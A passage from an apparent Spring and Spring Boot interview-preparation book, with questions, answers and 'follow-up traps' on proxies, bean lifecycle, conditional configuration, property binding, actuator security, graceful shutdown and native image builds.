- Self-inject the proxy (`@Lazy` self reference) or use `AopContext.currentProxy()` with `exposeProxy = true`.
- Use AspectJ weaving (`@EnableTransactionManagement(mode = ASPECTJ)`), which also handles private methods.

FOLLOW-UP TRAPS

- **Does it work if the inner method is `private`?** No, proxy advice applies only to public (and with CGLIB, non-private) methods intercepted via the proxy.
- **Is the problem specific to `@Transactional`?** No, same for `@Async`, `@Cacheable`, `@Retryable`, and any proxy-based advice.

#proxy #self-invocation #aop

Q10 **Spring fails with "Cannot subclass final class" when proxying your bean. What is happening?** INTERMEDIATE

Boot defaults to CGLIB proxies (`spring.aop.proxy-target-class=true`), which subclass the bean. A `final` class cannot be subclassed, and `final` methods cannot be overridden so their advice is skipped silently.

- JDK dynamic proxies need an interface and only proxy interface methods; injecting by concrete class then fails with `BeanNotOfRequiredTypeException`.
- Kotlin classes are final by default; use the `kotlin-spring` (allopen) plugin.
- CGLIB proxies are created via Objenesis, so the constructor is not re-run on the proxy; avoid logic in constructors that depends on the proxy being initialized.

FOLLOW-UP TRAPS

- **Why does a field access on an injected bean return `null` while getters work?** Fields of the proxy instance are never set; only the target has state. Use getters.
- **Does a `final` method with `@Transactional` fail loudly?** No, the annotation is silently ineffective.

#proxy #cglib #jdk-proxy

Q11 **What does `@Lazy` do on a bean, on an injection point, and what is the cost?** INTERMEDIATE

On a bean definition, `@Lazy` defers creation until first use. On an injection point, Spring injects a lazy-resolving proxy, so the target is created on first method call.

- Benefit: faster startup, and a way to break constructor cycles.

- Cost: configuration errors surface at runtime on first request instead of at startup; the first call pays the init latency.
- `spring.main.lazy-initialization=true` makes everything lazy, which can hide misconfiguration and slows the first requests; pair with explicit eager exceptions (`@Lazy(false)`).

FOLLOW-UP TRAPS

- **Are lazy singletons created during `refresh`?** No, only non-lazy ones (and lazy ones when another eager bean needs them).
- **Does lazy init help with a failing health check?** It can mask it; the failing bean is not even instantiated.

#lazy #startup #proxy

Q12 How do you register a bean only when a property is set, a class is on the classpath, or no other bean of that type exists? INTERMEDIATE

Use `@ConditionalOnProperty`, `@ConditionalOnClass`, and `@ConditionalOnMissingBean` respectively.

```
@Bean
@ConditionalOnProperty(name = "feature.audit.enabled", havingValue = "true")
AuditService auditService() { return new AuditService(); }

@Bean
@ConditionalOnMissingBean
Clock clock() { return Clock.systemUTC(); }
```

- `@ConditionalOnMissingBean` is evaluated at the time the condition is processed, so it is reliable only in auto-configuration classes (processed last), not in ordinary user `@Configuration`.
- `havingValue` defaults to "any value except false"; `matchIfMissing=true` makes the feature default-on.

FOLLOW-UP TRAPS

- **Why does `@ConditionalOnMissingBean` sometimes still create a duplicate?** The user bean was registered after the condition ran; order matters outside auto-config.
- **Does `@ConditionalOnProperty` match an empty string?** With no `havingValue`, yes unless the value is `false`.

#conditional #configuration

Q13 A bean annotated `@Profile("prod")` is missing in tests. Why, and how do you activate profiles? BASIC

The profile is not active. Activate with `spring.profiles.active=prod`, `SPRING_PROFILES_ACTIVE`, `@ActiveProfiles("prod")` in tests, or programmatically via `SpringApplication.setAdditionalProfiles`.

- If no profile is active, `@Profile("default")` beans are used; `!prod` negation and expressions like `@Profile("prod & eu")` are supported.
- `spring.profiles.include` adds profiles; `spring.profiles.group.prod=db,metrics` groups them (Boot 2.4+).
- `spring.profiles.active` cannot be set inside a profile-specific file or `spring.config.activate.on-profile` document.

FOLLOW-UP TRAPS

- **Is `@ActiveProfiles` additive to the environment variable?** It replaces unless `inheritProfiles` and defaults interplay; do not assume merging with env.
- **Can I put prod secrets in `application-prod.yml` in the repo?** Avoid it; use env vars or a secrets store.

#profiles #testing

Q14 Two implementations of `PaymentGateway` exist; you want to pick one by tenant at runtime. What is the idiomatic design? INTERMEDIATE

Inject all implementations as a `Map<String, PaymentGateway>` (bean name to bean) or `List<PaymentGateway>` with a `supports(tenant)` method, and choose at runtime. Static qualifiers decide at startup, not per request.

```
@Service
class PaymentRouter {
    private final Map<String, PaymentGateway> gateways;
    PaymentRouter(Map<String, PaymentGateway> gateways) { this.gateways = gateways; }
    PaymentGateway forTenant(String t) { return gateways.getOrDefault(t, gateways.get("stripe")); }
}
}
```

FOLLOW-UP TRAPS

- **What is the map key?** The bean name, so renaming a bean silently changes routing; prefer an explicit `supports()`.
- **How is a `List` ordered?** By `@Order` / `Ordered` / `@Priority`, otherwise registration order.

#strategy #di #design

Q15 What is the difference between `@Component`, `@Bean`, and `@Configuration` with respect to proxying (`proxyBeanMethods`)? ADVANCED

`@Component` classes are scanned and instantiated as-is ("lite mode" for their `@Bean` methods). `@Configuration` classes are CGLIB-subclassed (full mode) so that calling one `@Bean` method from another returns the container singleton instead of a new object.

```
@Configuration
class Cfg {
    @Bean A a() { return new A(b()); } // b() returns the singleton bean
    @Bean B b() { return new B(); }
}
```

With `@Configuration(proxyBeanMethods = false)` (or `@Component`), `b()` creates a fresh `B` each call, bypassing the container. Prefer parameter injection (`A a(B b)`) and `proxyBeanMethods=false`, which is faster and required for native image friendliness.

FOLLOW-UP TRAPS

- **Why do Boot auto-configurations use `proxyBeanMethods=false`?** Startup speed and AOT/native compatibility.
- **Can a `@Configuration` class be final?** Not in full mode.

#configuration #cglib #proxybeanmethods

Q16 An `@Autowired` field is `null` in an object created with `new`. Why, and how do you fix it? BASIC

Only container-created beans receive injection. An object created with `new` is invisible to the container, so its `@Autowired` fields are never populated.

- Make the class a bean and inject it, or create instances via `ObjectProvider`/a factory bean.
- For domain objects that must be created manually but need services, pass the dependency as a method argument, or use `@Configurable` with AspectJ (rare).
- Static fields and static methods cannot be injected directly.

FOLLOW-UP TRAPS

- **Does `@Autowired` on a `static` field work?** No, it is ignored.
- **Is a class in a package outside component scan a bean?** Not unless imported or scanned; `@SpringBootApplication` scans only its own package and below.

#di #ioc #pitfalls

Q17 Application context fails with `NoSuchBeanDefinitionException` for a `@Service` that clearly exists. List likely causes. BASIC

Most often the class sits outside the package tree of the `@SpringBootApplication` class, so component scan never sees it.

Check in order:

- Package location versus the main class (or add `scanBasePackages`).
- Missing stereotype annotation, or the bean is excluded by `@Profile` / `@Conditional`.
- Interface injected but the implementation is an inner class or not annotated.
- A `@Configuration` imported with `@Import` is missing, or test slice (`@WebMvcTest`) does not load services (use `@MockBean` / `@Import`).
- Run with `--debug` or `logging.level.org.springframework.beans=DEBUG` to inspect the conditions report and definitions.

FOLLOW-UP TRAPS

- **Does `@WebMvcTest` load `@Service` beans?** No, only web-layer beans; mock the rest.
- **Does the default-package main class work?** It triggers scanning of everything on the classpath and a warning; avoid it.

#component-scan #debugging

Q18 You inject `List<Validator>` and a new implementation is ignored in a given position. How do you control order? BASIC

Use `@Order(n)` (lower value = higher priority) or implement `Ordered`. Without either, order is not guaranteed and depends on registration.

- `@Order` affects collection injection and ordered infrastructure (filters, advisors, `@ControllerAdvice`); it does not affect which bean is selected for a single-valued injection point; that is `@Primary`'s job.
- `@Priority` (JSR-250) is honoured for single-injection tie-breaks in some paths, but `@Order` is conventional.

FOLLOW-UP TRAPS

- **Does `@Order` on a `@Bean` method work?** Yes, `@Order` can annotate `@Bean` methods.
- **Does `@Order` control `@PostConstruct` order across beans?** No, that follows dependency order.

#ordering #collections

Q19 `@Value("${timeout}")` throws `IllegalArgumentException: Could not resolve placeholder`. How do you make it safe, and when should you prefer `@ConfigurationProperties`? BASIC

The property is absent. Provide a default with `@Value("${timeout:30}")`, or fix the property source. For groups of related properties prefer a typed `@ConfigurationProperties` class with validation.

- `@Value` supports SpEL (`#{...}`) but does no relaxed binding, so `${my.Timeout}` must match the key more strictly.
- `@ConfigurationProperties` gives relaxed binding, type conversion (`Duration`, `DataSize`), metadata for IDE completion, and `@Validated` fail-fast.

- `@Value` in a `BeanFactoryPostProcessor` or a static context can resolve too early.

> **FOLLOW-UP TRAPS**
> - **Does `@Value` fail at startup if missing?** Yes for singletons, at bean creation; lazy beans fail later.
> - **Can `@Value` be refreshed at runtime?** Not natively; needs Spring Cloud `@RefreshScope`.

#value #placeholders #configuration

Q20 **A singleton keeps request-specific data in a field and users start seeing each other's data. Diagnose.** BASIC

Beans are singletons by default and shared by all request threads, so mutable instance fields are a race condition and a data leak. Keep singletons stateless; pass state as parameters or use request-scoped/`ThreadLocal`-based holders with cleanup.

- Controllers, services and repositories should hold only final collaborators.
- If a cache field is needed, use `ConcurrentHashMap` or Spring Cache.
- Switching to prototype scope on a controller is a smell and does not fix state shared with singletons it calls.

> **FOLLOW-UP TRAPS**
> - **Is `SimpleDateFormat` as a field safe in a singleton?** No, it is not thread-safe; use `DateTimeFormatter`.
> - **Is a singleton scope "one per JVM"?** One per container (`ApplicationContext`), so child contexts or multiple contexts have multiple.

#singleton #thread-safety #scopes

Q21 **How can you run code when the context is closing and wait for in-flight work, and what is the pitfall with `@PreDestroy` on beans with dependencies?** INTERMEDIATE

Use `@PreDestroy`, `DisposableBean`, or `SmartLifecycle` for ordered start/stop with a phase. Beans are destroyed in reverse dependency order, so a bean's dependencies are still alive in its `@PreDestroy`.

- `SmartLifecycle` stop runs before plain bean destruction and lets you control order via `getPhase()` (higher phase starts last and stops first).
- `@PreDestroy` is not called when the JVM is killed with `kill -9` or crashes; only on graceful close (shutdown hook registered by Boot).
- Prototype beans are never destroyed by the container.

> **FOLLOW-UP TRAPS**
> - **Is an unmanaged thread pool stopped automatically?** Only if it is a bean with a `shutdown` / `close` method (inferred for `@Bean`) or an `ExecutorService` Spring manages.
> - **Does `SIGTERM` call `@PreDestroy`?** Yes, via the JVM shutdown hook.

#lifecycle #shutdown #predestroy

Q22 **Using `@Autowired(required = false)` or `Optional<T>`, a dependency is silently missing in production but works locally. What is the risk?** INTERMEDIATE

An optional injection turns a missing bean into `null` / `Optional.empty()` instead of failing fast, so a misconfigured profile or condition silently disables a feature (for example, no audit or no cache).

- Use optional injection only for truly optional collaborators and log when absent.
- Prefer `ObjectProvider<T>#ifAvailable` with an explicit fallback, or a no-op implementation bean registered via `@ConditionalOnMissingBean`.
- Add a startup assertion or a health indicator for critical integrations.

FOLLOW-UP TRAPS

- **Is `@Nullable` equivalent?** Yes, it also makes the injection point non-mandatory.
- **How does `@Autowired` handle `Optional<List<T>>`?** Empty list yields `Optional.empty()` in some versions, so prefer `ObjectProvider<T>#orderedStream`.

#optional-dependency #misconfiguration

Q23 How would you decorate an existing bean (e.g., add logging around a third-party client) without modifying its class? ADVANCED

Three options: a `BeanPostProcessor` that wraps the instance, a Spring AOP `@Aspect` with a pointcut on the type, or a decorator `@Bean` marked `@Primary` that holds the original (injected by `@Qualifier`).

```
@Bean @Primary
PaymentClient loggingClient(@Qualifier("rawClient") PaymentClient delegate) {
    return req -> { log.info("call {}", req); return delegate.send(req); };
}
```

AOP is least invasive but constrained by proxy rules (final classes, self-invocation). The explicit decorator is easiest to debug and test.

FOLLOW-UP TRAPS

- **Why does the aspect not fire?** The target is not a Spring bean, the method is `final` / `private`, or it is invoked from inside the same class.
- **Is `@EnableAspectJAutoProxy` required in Boot?** No, `spring-boot-starter-aop` auto-configures it.

#proxy #beanpostprocessor #aop

Q24 In a `@SpringBootTest`, you replace a bean with `@MockBean` and the context reloads for each test class, slowing the suite. Why? ADVANCED

Spring caches the `ApplicationContext` keyed by configuration (classes, profiles, properties, mock/spy bean definitions, etc). Each distinct `@MockBean` set or `@TestPropertySource` creates a new cache key, so a new context is built.

- Consolidate mocks in a shared abstract base class or a `@TestConfiguration` using `@Bean` stubs.
- In Boot 3.4+, `@MockitoBean` (Spring Framework 6.2) replaces `@MockBean`, which is deprecated; the caching rule is the same.
- Avoid `@DirtiesContext` unless a test truly mutates the context.

FOLLOW-UP TRAPS

- **Do test slices share contexts with full tests?** No, each slice has its own key.
- **Does `@DirtiesContext` at class level speed things up?** No, it forces rebuilds.

#testing #context-caching #mockbean

Q25 What is the difference between `ApplicationContext` and `BeanFactory`, and when do you notice it? BASIC

`BeanFactory` is the basic container (lazy by default, DI only). `ApplicationContext` adds eager singleton creation, events, i18n, resource loading, environment/profile support, and automatic BPP registration.

- You almost never use a bare `BeanFactory`; the difference matters mostly when explaining why `@Autowired` or `@PostConstruct` works only in a context.
- `ApplicationContext` singletons are created eagerly at refresh, which surfaces wiring errors at startup.

FOLLOW-UP TRAPS

- **Is the Boot context a `WebApplicationContext`?** In MVC apps yes, an `AnnotationConfigServletWebServerApplicationContext`.
- **Does `getBean()` in business code have a cost?** It couples code to the container; prefer injection.

#applicationcontext #beanfactory

Q26 **After upgrading to Boot 3, events published in `@PostConstruct` are not received by your `@EventListener`. Why?** ADVANCED

`@EventListener` methods are registered by `EventListenerMethodProcessor` after all singletons are instantiated (`afterSingletonsInstantiated`). Events published during bean creation (including `@PostConstruct`) happen before listeners are registered, so they are lost.

- Publish after startup using `ApplicationReadyEvent`, `SmartInitializingSingleton`, or `ContextRefreshedEvent`.
- Listeners are synchronous and run in the publisher's thread/transaction by default; add `@Async` or use `@TransactionalEventListener` for after-commit semantics.
- `ApplicationEvent` subclassing is not required since Spring 4.2; any object works.

FOLLOW-UP TRAPS

- **If a synchronous listener throws, does the publisher see it?** Yes, it propagates to the caller (unless an `ErrorHandler` is set on an async multicaster).
- **Can a listener return a value to publish another event?** Yes, a non-void return is published as a new event.

#events #lifecycle #listeners

SPRING & HIBERNATE · CHAPTER 2

Spring Boot Auto-configuration & Config

How auto-configuration is discovered and conditioned, starters, property binding and precedence, custom starters, actuator, graceful shutdown, startup performance and native/AOT basics in production scenarios.

26 questions **5** basic **13** intermediate **8** advanced

Scenarios

Q1 How does Spring Boot decide to auto-configure a `DataSource` when you add a JDBC driver and `spring-boot-starter-data-jpa`? BASIC

`@SpringBootApplication` includes `@EnableAutoConfiguration`, which imports every class listed in `META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports` from jars on the classpath. Each is guarded by conditions such as `@ConditionalOnClass(DataSource.class)` and `@ConditionalOnMissingBean`.

- `DataSourceAutoConfiguration` creates a Hikari pool when `spring.datasource.url` is present (or an embedded DB if one is on the classpath).
- User-defined beans always back off auto-configured ones via `@ConditionalOnMissingBean`.
- `spring.factories` was replaced for auto-config by the `.imports` file in Boot 2.7/3.0.

FOLLOW-UP TRAPS

- **Is auto-configuration the same as component scanning?** No, scanning finds your classes; auto-config imports library configuration classes conditionally.
- **Does Boot 3 still read `EnableAutoConfiguration` keys from `spring.factories`?** No, support was removed in 3.0.

#autoconfiguration #springbootapplication

Q2 The app starts but a bean you expected is not auto-configured. How do you find out why? BASIC

Run with `--debug` (or `debug=true`) to print the Conditions Evaluation Report: "Positive matches", "Negative matches" with the failing condition, and "Unconditional classes". The actuator `/actuator/conditions` endpoint shows the same at runtime.

- Typical negatives: `@ConditionalOnClass` (starter missing), `@ConditionalOnMissingBean` (you defined your own), `@ConditionalOnProperty` (flag off), `@ConditionalOnWebApplication` (wrong type).
- `/actuator/beans` lists what actually exists.

FOLLOW-UP TRAPS

- **Is `/actuator/conditions` exposed by default over HTTP?** No, only `health` is exposed by default.
- **Can I exclude an auto-config?** Yes, `@SpringBootApplication(exclude = X.class)` or `spring.autoconfigure.exclude`.

#debugging #conditions-report

Q3 You define your own `ObjectMapper` bean and suddenly date formats and unknown-property behaviour change. Why? INTERMEDIATE

`JacksonAutoConfiguration` registers its `ObjectMapper` with `@ConditionalOnMissingBean`. Your bean replaces it, so all `spring.jackson.*` properties, registered modules (`JavaTimeModule`), and Boot defaults

such as `FAIL_ON_UNKNOWN_PROPERTIES=false` and `WRITE_DATES_AS_TIMESTAMPS=false` no longer apply.

Customize instead of replacing:

```
@Bean
Jackson2ObjectMapperBuilderCustomizer customizer() {
    return b -> b.simpleDateFormat("yyyy-MM-
dd").serializationInclusion(JsonInclude.Include.NON_NULL);
}
```

If you must build your own, start from the injected `Jackson2ObjectMapperBuilder`.

FOLLOW-UP TRAPS

- **Does `@Primary` on a second mapper help?** It decides injection but still disables the default auto-configured one.
- **Which components use the auto-configured mapper?** MVC message converters, `WebClient.Builder`, `RestClient.Builder`, and others.

#autoconfiguration #jackson #conditionalonmissingbean

Q4 How do you write a custom `@Conditional` and when would you?

ADVANCED

Implement `Condition` (or extend `SpringBootCondition`) and annotate with `@Conditional(MyCondition.class)`. Use it when built-in conditions cannot express the rule, for example "a cloud metadata variable exists and a class is present".

```
class OnKubernetesCondition implements Condition {
    public boolean matches(ConditionContext ctx, AnnotatedTypeMetadata md) {
        return ctx.getEnvironment().getProperty("KUBERNETES_SERVICE_HOST") != null;
    }
}
```

- Conditions run during configuration parsing, before beans exist; do not look up beans in them (except via `ConditionalOnBean` semantics in auto-config).
- Wrap as a meta-annotation for readability.

FOLLOW-UP TRAPS

- **Can a `Condition` inject beans?** No, they execute before instantiation.
- **`@ConditionalOnBean` in a normal `@Configuration` - safe?** Not reliable; ordering is not guaranteed, use only in auto-configuration with `@AutoConfiguration(after = ...)`.

#conditional #spi

Q5 What does a custom Spring Boot starter consist of, and how do you structure it?

ADVANCED

Two modules by convention: `acme-spring-boot-autoconfigure` (auto-configuration, `@ConfigurationProperties`, `.imports` file) and `acme-spring-boot-starter` (empty jar with dependencies). A single module is acceptable for internal use.

```
@AutoConfiguration
@ConditionalOnClass(AcmeClient.class)
@EnableConfigurationProperties(AcmeProperties.class)
public class AcmeAutoConfiguration {
    @Bean @ConditionalOnMissingBean
    AcmeClient acmeClient(AcmeProperties p) { return new AcmeClient(p.getUrl()); }
}
```

Register in `META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports`. Add `spring-boot-configuration-processor` for property metadata. Third-party starters should not use the `spring-boot-starter-*` prefix; use `acme-spring-boot-starter`.

FOLLOW-UP TRAPS

- **Why not `@Configuration` plus `@Component` scanning in a starter?** Auto-config must not be component-scanned; ordering and back-off rely on the imports mechanism.
- **How do you test it?** `ApplicationContextRunner` with `withConfiguration(AutoConfigurations.of(...))`.

#starter #autoconfiguration #library

Q6 **`app.max-connections` is bound from `application.yml`, but the container sets `APP_MAX_CONNECTIONS`. Does it bind, and what are the env var rules?** INTERMEDIATE

Yes. For environment variables Boot converts dots and dashes to underscores and uppercases, so `app.max-connections` is matched by `APP_MAX_CONNECTIONS` (the form `APP_MAXCONNECTIONS` with dashes removed also binds for `@ConfigurationProperties`).

- In `.properties` / `.yml`, prefer kebab-case (`app.max-connections`); camelCase and underscore forms also bind.
- List items use indexes: `APP_HOSTS_0`, `APP_HOSTS_1`.
- `@Value` supports only limited relaxation, so use `@ConfigurationProperties` when you rely on env var naming.

FOLLOW-UP TRAPS

- **Does `@Value("${app.maxConnections}")` match `app.max-connections` in YAML?** Not reliably; `@Value` needs the key in canonical kebab-case to get relaxed matching.
- **Does `SPRING_APPLICATION_JSON` override env vars?** Yes, it ranks above OS env vars and system properties but below command-line args.

#relaxed-binding #environment-variables

Q7 **Same property is defined in `application.yml`, an env var, a command-line arg, and a `@PropertySource`. Which wins?** INTERMEDIATE

Highest to lowest (abridged): command-line args, `SPRING_APPLICATION_JSON`, system properties, OS environment variables, profile-specific config files (outside the jar, then inside), `application` config files (outside, then inside), `@PropertySource`, and finally default properties.

- Test properties (`@TestPropertySource`, `properties=`) beat all of those in tests.
- `@PropertySource` is processed early and low in precedence, and it cannot load YAML without a custom factory.
- A profile-specific file overrides the base file; later `spring.config.import` entries override earlier ones.

FOLLOW-UP TRAPS

- **Does `@PropertySource` override `application.yml`?** No, `application.yml` wins, and an env var beats both.
- **Do external `./config/application.yml` files override the packaged one?** Yes.

#externalized-config #precedence

Q8 **How do you load config from Kubernetes ConfigMap/secret files mounted as volumes without code changes?** INTERMEDIATE

Use `spring.config.import` (Boot 2.4+) with `optional:file:/etc/config/` for config files, or `configtree:/etc/secrets/` for one-file-per-property secret mounts.

```
spring:
  config:
    import:
      - optional:file:/etc/config/application.yml
      - optional:configtree:/etc/secrets/
```

- Without `optional:` a missing path fails startup, which is useful in production.
- Keys map from file names; `db.password` file yields `db.password`.
- Changes need a restart (or Spring Cloud Kubernetes reload).

FOLLOW-UP TRAPS

- **Does `spring.config.import` allow placeholders from env?** Yes, `${CONFIG_DIR}` is resolved.
- **Is `bootstrap.yml` still needed?** No, it is a Spring Cloud legacy mechanism replaced by `spring.config.import`.

#config-import #kubernetes #secrets

Q9 A `@ConfigurationProperties` class has a `@NotNull` field that is missing in prod. What do you want to happen and how to ensure it?

INTERMEDIATE

The app should fail fast at startup with a binding error. Annotate the class with `@Validated` and use Jakarta Bean Validation constraints; requires `spring-boot-starter-validation`.

```
@ConfigurationProperties("payments")
@Validated
public record PaymentsProperties(@NotBlank String url, @DefaultValue("5s") Duration timeout) {}
```

- Records or `final` fields use constructor binding automatically (Boot 3 implicit when single constructor).
- Nested objects need `@Valid` to cascade validation.
- Without the validation starter on the classpath, constraints are silently ignored.

FOLLOW-UP TRAPS

- **Why is validation skipped on nested properties?** Missing `@Valid` on the nested field.
- **Is `@ConstructorBinding` still required?** Only on classes with multiple constructors in Boot 3.

#configurationproperties #validation

Q10 App startup takes 90 seconds. How do you find and fix the slowness?

ADVANCED

Measure first: enable `ApplicationStartup` (`BufferingApplicationStartup`) and expose `/actuator/startup`, or use `--debug` and logging timestamps, plus a profiler/async-profiler on boot.

Common culprits and fixes:

- Eager remote calls in `@PostConstruct` or runners (DB migrations, cache warmup, config servers): move to async or after readiness.
- Large component scan or classpath scan: narrow `scanBasePackages`.
- Hibernate schema validation/`ddl-auto`, Flyway on big histories.
- Connection pool initialization with `initialization-fail-timeout` retries on an unreachable DB.
- Many auto-configurations: exclude unused ones; consider `spring.main.lazy-initialization`, CDS/AppCDS, or native.

FOLLOW-UP TRAPS

- **Does lazy init lower total work?** It only shifts work to first use.
- **Is DNS a typical hidden delay?** Yes, a slow hostname lookup of the local host or a service can cost seconds.

#startup #performance #diagnostics

Q11 What is the difference between liveness and readiness probes in actuator, and what mistake takes the whole fleet down?

INTERMEDIATE

Liveness answers "should this process be restarted?"; readiness answers "should it receive traffic?". Boot exposes `/actuator/health/liveness` and `/readiness` when running on Kubernetes (or with `management.endpoint.health.probes.enabled=true`).

- Mistake: including a downstream dependency (DB, third-party) in the liveness group. When the DB blips, all pods fail liveness and restart together, turning a partial outage into a total one.
- Keep dependencies in readiness at most; liveness should reflect only internal unrecoverable state (`LivenessState.BROKEN`).
- Customize groups: `management.endpoint.health.group.readiness.include=readinessState,db`.

FOLLOW-UP TRAPS

- **What happens to readiness during graceful shutdown?** It switches to `REFUSING_TRAFFIC` so the load balancer drains the pod.
- **Are health details visible to anonymous users?** Not by default (`show-details=never`).

#actuator #health #kubernetes

Q12 You expose all actuator endpoints publicly with `management.endpoints.web.exposure.include=*`. What can go wrong?

INTERMEDIATE

Endpoints such as `env`, `heapdump`, `threaddump`, `configprops`, `beans`, `loggers`, and `mappings` leak configuration, credentials (partially sanitized), and internals; `loggers` and `shutdown` (if enabled) allow state changes.

- Expose the minimum (`health`, `info`, `prometheus`), secure the rest with Spring Security roles, and consider a separate management port (`management.server.port`) not routed externally.
- Since Boot 3, `show-values` for `env`/`configprops` defaults to `never`, but treat the endpoints as sensitive anyway.
- Keys matching `password`, `secret`, `key`, `token` are sanitized by default; custom names may not be.

FOLLOW-UP TRAPS

- **Is `/actuator/heapdump` dangerous?** Yes, it contains in-memory secrets and personal data.
- **Does a separate management port use the same security chain?** It uses a separate context; secure it independently.

#actuator #security

Q13 How do you add a custom health indicator and what should it avoid?

BASIC

Implement `HealthIndicator` (or extend `AbstractHealthIndicator`); the bean name minus `HealthIndicator` becomes the component key.

```
@Component
class PaymentsHealthIndicator implements HealthIndicator {
    public Health health() {
        return pingOk() ? Health.up().build() : Health.down().withDetail("reason",
"timeout").build();
    }
}
```

Keep the check cheap and time-bounded, because health is polled every few seconds by orchestrators. Do not run expensive queries or call slow third parties synchronously; cache the last result.

FOLLOW-UP TRAPS

- **What aggregates the statuses?** `StatusAggregator` picks the worst, ordered DOWN, OUT_OF_SERVICE, UP, UNKNOWN.
- **Does DOWN return HTTP 503?** Yes by default.

#actuator #healthindicator

Q14 During a rolling deployment clients see 502/connection reset errors. How does graceful shutdown fix it? INTERMEDIATE

Set `server.shutdown=graceful` and `spring.lifecycle.timeout-per-shutdown-phase=30s`. On `SIGTERM` the server stops accepting new requests but lets in-flight requests finish before the context closes (supported for Tomcat, Jetty, Reactor Netty, Undertow).

- On Kubernetes, also add a short `preStop` sleep because the endpoints controller and the SIGTERM race; otherwise traffic still arrives after shutdown begins.
- `terminationGracePeriodSeconds` must exceed the Spring timeout.
- Background work (`@Async`, schedulers) needs its own `setWaitForTasksToCompleteOnShutdown` and await settings.

FOLLOW-UP TRAPS

- **Does graceful shutdown wait for Kafka consumers?** The listener containers stop in the same lifecycle but handle their own timeouts.
- **What if a request runs longer than the timeout?** It is cut off when the phase times out.

#graceful-shutdown #deployment

Q15 What is the difference between `@ConfigurationProperties` binding and `Environment.getProperty`, and what does `spring.config.activate.on-profile` do? INTERMEDIATE

`Environment.getProperty` reads a raw string by exact key with conversion; `@ConfigurationProperties` uses the `Binder` with relaxed names, nested objects, lists, maps, and validation.

Multi-document YAML activates sections per profile:

```
server.port: 8080
---
spring:
  config:
    activate:
      on-profile: prod
server.port: 8443
```

You cannot place `spring.profiles.active` inside an `on-profile` document (it throws `InactiveConfigDataAccessException`). Replace the old `spring.profiles` key (removed in 2.4+).

FOLLOW-UP TRAPS

- **Which wins, later documents or earlier ones?** Later documents override earlier in the same file.
- **Does `.properties` file take precedence over `.yml` in the same location?** Yes, `.properties` wins over `.yml`.

#environment #profiles #multi-document

Q16 What do `spring-boot-devtools` and `spring-boot-starter-parent` give you, and what is the production risk? BASIC

`starter-parent` (or the `spring-boot-dependencies` BOM / Gradle plugin) manages compatible dependency versions, so starters need no version. DevTools provides auto-restart and LiveReload using two classloaders.

- DevTools is excluded from the repackaged fat jar by default (`optional` / `developmentOnly`), and disabled when run via `java -jar`; do not include it in production.
- Overriding a managed version (`<jackson-bom.version>`) can break compatibility with other managed libraries.
- Starters are only dependency descriptors; they contain no code.

FOLLOW-UP TRAPS

- **Why does a restart in DevTools feel fast?** Only the application classloader reloads, not the library classloader.
- **Can I use the BOM without the parent?** Yes via `dependencyManagement` import.

#devtools #starters #dependency-management

Q17 Fat jar versus layered jar versus a plain jar in Docker. What does Boot support for image efficiency? INTERMEDIATE

Boot repackages into an executable "fat" jar with nested jars. A layered jar (`layers.enabled`, default since 2.4) splits into `dependencies`, `spring-boot-loader`, `snapshot-dependencies`, `application`, so Docker caches the rarely-changing dependency layer.

```
FROM eclipse-temurin:21-jre AS build
COPY app.jar app.jar
RUN java -Djarmode=tools -jar app.jar extract --layers --destination out
```

- `java -Djarmode=layertools` was replaced by `-Djarmode=tools` in 3.3.
- `mvn spring-boot:build-image` / `bootBuildImage` uses Cloud Native Buildpacks, with no Dockerfile.
- Extracted layout starts faster than the nested fat jar.

FOLLOW-UP TRAPS

- **Why put `application` layer last?** It changes most often; earlier layers stay cached.
- **Is a JRE-only base image enough?** Usually yes, but jlink or JDK may be needed for some tooling like `jcmd`.

#packaging #docker #layers

Q18 What are AOT processing and GraalVM native image in Spring Boot 3, and what breaks? ADVANCED

Spring AOT runs at build time, evaluating conditions and generating bean-definition code plus reflection/proxy hints, so the app has a fixed closed-world context. GraalVM then compiles it to a native executable with millisecond startup and lower memory, at the cost of a longer, heavier build and no runtime dynamic class loading.

- Things that break: reflection, resources, proxies, JNI not covered by hints; conditions based on runtime properties (`@Profile`, `@ConditionalOnProperty`) are fixed at build time.
- Provide hints with `RuntimeHintsRegistrar` / `@RegisterReflectionForBinding`.
- Peak throughput can be lower than JIT-compiled JVM; JIT warmup versus AOT trade-off.
- Alternatives: CDS/AppCDS, CRaC (Boot 3.2+), virtual threads, lazy init.

FOLLOW-UP TRAPS

- **Can I change `@Profile` at runtime in a native image?** Profiles used in conditions are evaluated at AOT time; the set is fixed (`-Dspring.aot.enabled`, `process-aot` with profiles).
- **Does AOT also help on the JVM?** Yes, `-Dspring.aot.enabled=true` can speed JVM startup.

#native #aot #graalvm

Q19 Your `@ConfigurationProperties` list property from the env var appends instead of replacing the YAML list. What is happening? ADVANCED

List and array properties are replaced, not merged, across property sources when a higher-precedence source provides any index of that list. Mixing `app.hosts[0]` from YAML with `APP_HOSTS_1` from env produces surprising partial replacement, while a comma-separated value in one source replaces the entire list.

- Provide the full list in one source.
- Maps, in contrast, are merged across sources by key.
- For profile-specific files, a profile list replaces the base list entirely.

FOLLOW-UP TRAPS

- **Do maps merge across sources?** Yes, key by key, with the higher precedence winning on conflict.
- **Does `app.hosts=a,b` bind to `List<String>`?** Yes, comma-separated conversion works.

#binding #lists #precedence

Q20 A property holding a secret appears in logs via `/actuator/env` or startup logging. How do you protect secrets in Boot? INTERMEDIATE

Never commit secrets; inject via environment variables, mounted files (`configtree:`), or a secrets manager (Vault, AWS Secrets Manager via Spring Cloud). Use `management.endpoint.env.show-values=never` (or `when-authorized`) and custom `SanitizingFunction` beans for non-standard key names.

- Do not log `Environment` or properties objects; `toString()` of properties classes can print secrets (exclude them or use records carefully).
- Jasypt-style encrypted values add key-management problems and are not a substitute for a secret store.
- Command-line args show up in `ps` output, so env or files are safer.

FOLLOW-UP TRAPS

- **Are env vars safe from `/proc`?** Same-user processes can read them; files with tight permissions are slightly better.
- **Does Boot mask `my.api-token`?** The default sanitizer matches keys ending in `key`, `secret`, `password`, `token` and similar patterns.

#secrets #security #config

Q21 Two auto-configurations both define a `TaskExecutor` bean, and your `@Async` calls use the wrong one. How do you control it? ADVANCED

Boot auto-configures `applicationTaskExecutor` (`ThreadPoolTaskExecutor`, or a virtual-thread executor when `spring.threads.virtual.enabled=true` in 3.2+) when no `Executor` bean exists. Defining your own `Executor` makes it back off.

